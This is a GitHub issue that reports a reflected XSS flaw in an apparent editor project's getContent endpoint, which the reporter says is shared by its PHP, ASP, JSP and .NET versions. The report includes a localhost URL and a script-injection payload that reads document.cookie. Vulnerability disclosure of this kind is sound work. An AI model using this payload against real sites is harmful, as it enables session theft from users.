Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

I found a reflective XSS vulnerability in /php/getContent.php #624

Open
yundiao opened this issue Mar 4, 2019 · 0 comments
Open

I found a reflective XSS vulnerability in /php/getContent.php #624

yundiao opened this issue Mar 4, 2019 · 0 comments

Comments

@yundiao
Copy link

yundiao commented Mar 4, 2019

Testing environment: localhost
Windows + firefox + phpStorm + apache2 + php5.4.45

I. Vulnerability analysis
/php/getContent.php
image

II. Exploit
image
url:
http://127.0.0.1/php/getcontent.php
payload:
myEditor=<script>alert(document.cookie)</script>
// "E" in the word myEditor must be capitalized.

The same vulnerability exists in all language versions of getContent files.
/asp/getContent.asp
image

/jsp/getContent.jsp
image

/net/getContent.ashx
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant